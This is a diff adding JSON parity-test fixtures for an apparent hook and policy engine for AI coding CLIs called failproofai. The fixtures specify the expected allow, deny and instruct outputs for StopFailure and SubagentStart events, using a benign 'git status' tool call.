@@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/StopFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..82bb5f06 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/StopFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..60f981f4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/StopFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..556d3baf --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/StopFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..7f22abf3 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/StopFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..22301d8f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/StopFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..e8533ca2 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/StopFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4cf94e42 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/StopFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8ad844a2 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/StopFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..1ad83dab --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/StopFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c73c65c1 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/StopFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..26330966 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/StopFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e3916e0a --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..409fc3e2 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..7f929889 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..0ee53588 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c7a5cf11 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..1da60256 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..5f30697a --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..64f3e512 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": 